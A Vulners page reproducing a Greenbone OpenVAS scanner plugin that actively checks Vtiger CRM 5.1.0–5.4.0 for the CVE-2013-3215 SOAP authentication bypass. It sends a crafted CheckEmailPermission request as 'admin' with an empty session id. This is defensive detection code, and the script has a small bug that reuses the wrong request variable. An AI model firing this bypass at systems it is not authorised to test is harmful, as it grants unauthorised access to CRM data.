Lucene search
+L

Vtiger CRM 5.1.0 - 5.4.0 Authentication Bypass Vulnerability - Active Check

🗓️ 28 Jan 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 102 Views

vTiger CRM Authentication Bypass Vulnerability. Vulnerable code in validateSession() function. Affects version 5.1.0 to 5.4.0. Remote attacker can bypass authentication mechanism. Solution: Apply vendor patch or upgrade to 6.0 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
vtiger CRM <= 5.4.0 (SOAP Services) - Multiple Vulnerabilities
3 Aug 201300:00
zdt
zdt
zdt
vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload Vulnerability
7 Jan 201400:00
zdt
circl
Circl
CVE-2013-3215
29 May 201815:50
circl
checkpoint_advisories
Check Point Advisories
vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload (CVE-2013-3215)
17 Feb 201400:00
checkpoint_advisories
cve
CVE
CVE-2013-3215
29 Jan 202017:21
cve
cvelist
Cvelist
CVE-2013-3215
29 Jan 202017:21
cvelist
dsquare
Dsquare
vtiger CRM 5.4.0 File Upload
10 Mar 201400:00
dsquare
exploitdb
Exploit DB
vTiger CRM 5.4.0 SOAP - Multiple Vulnerabilities
2 Aug 201300:00
exploitdb
exploitpack
exploitpack
vTiger CRM 5.4.0 SOAP - Multiple Vulnerabilities
2 Aug 201300:00
exploitpack
nvd
NVD
CVE-2013-3215
29 Jan 202018:15
nvd
Rows per page
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vtiger:vtiger_crm";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103972");
  script_version("2026-05-07T06:32:13+0000");
  script_tag(name:"last_modification", value:"2026-05-07 06:32:13 +0000 (Thu, 07 May 2026)");
  script_tag(name:"creation_date", value:"2014-01-28 15:47:55 +0700 (Tue, 28 Jan 2014)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-01-31 19:54:00 +0000 (Fri, 31 Jan 2020)");

  script_cve_id("CVE-2013-3215");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Vtiger CRM 5.1.0 - 5.4.0 Authentication Bypass Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_vtiger_crm_http_detect.nasl");
  script_mandatory_keys("vtiger/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Vtiger CRM is prone to an authentication bypass
  vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to exploit the vulnerability by calling the respective
  SOAP call.");

  script_tag(name:"insight", value:"The vulnerable code is located in the validateSession()
  function, which is defined in multiple SOAP services.");

  script_tag(name:"impact", value:"A remote attacker can bypass the authentication mechanism.");

  script_tag(name:"affected", value:"Vtiger CRM version 5.1.0 through 5.4.0.");

  script_tag(name:"solution", value:"Apply the patch from the referenced vendor advisory or
  update to version 6.0 or later.");

  script_xref(name:"URL", value:"https://www.vtiger.com/blogs/?p=1467");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61559");
  script_xref(name:"URL", value:"http://karmainsecurity.com/KIS-2013-08");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name( port:port );

# Create a SOAP request for checking email permission
function checkemail_soap_req(user, sessionid) {
  local_var user, sessionid;
  local_var soapreq;

  soapreq = '<?xml version="1.0" encoding="UTF-8"?>\r\n' +
            '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\r\n' +
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema"\r\r\n' +
            'xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"\r\r\n' +
            'xmlns:crm="http://www.vtiger.com/products/crm">\r\n' +
            'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\r\n' +
            '<soapenv:Header/>\r\n' +
            '<soapenv:Body>\r\n' +
            '  <crm:CheckEmailPermission\r\n' +
            '     soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n' +
            '    <username\r\n' +
            '      xsi:type="xsd:string">' +
            user +
            '</username>\r\n' +
            '    <session\r\n' +
            '      xsi:type="xsd:string">' +
            sessionid +
            '</session>\r\n' +
            '  </crm:CheckEmailPermission>\r\n' +
            '</soapenv:Body>\r\n' +
            '</soapenv:Envelope>';

  return soapreq;
}

# First we check if the app is responding on this service with an invalid session id
randint = rand() % 4;
sessionid = rand_str(length: 4 + randint, charset: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
request = checkemail_soap_req(user: "admin", sessionid: sessionid);

url = dir + "/soap/vtigerolservice.php";

headers = make_array("Content-Type", "text/xml; charset=UTF-8");

req = http_post_put_req(port: port, url: url, data: request, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if (!res || !ereg(string: res, pattern:'<return xsi:nil="true" xsi:type="xsd:string"/>', icase: FALSE))
  exit(0);

req = checkemail_soap_req(user: "admin", sessionid: "");

req = http_post_put_req(port: port, url: url, data: request, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if (res && egrep(string: res, pattern: '<return xsi:type="xsd:string">.*</return>', icase: FALSE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 May 2026 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 3.19.8
EPSS0.68849
102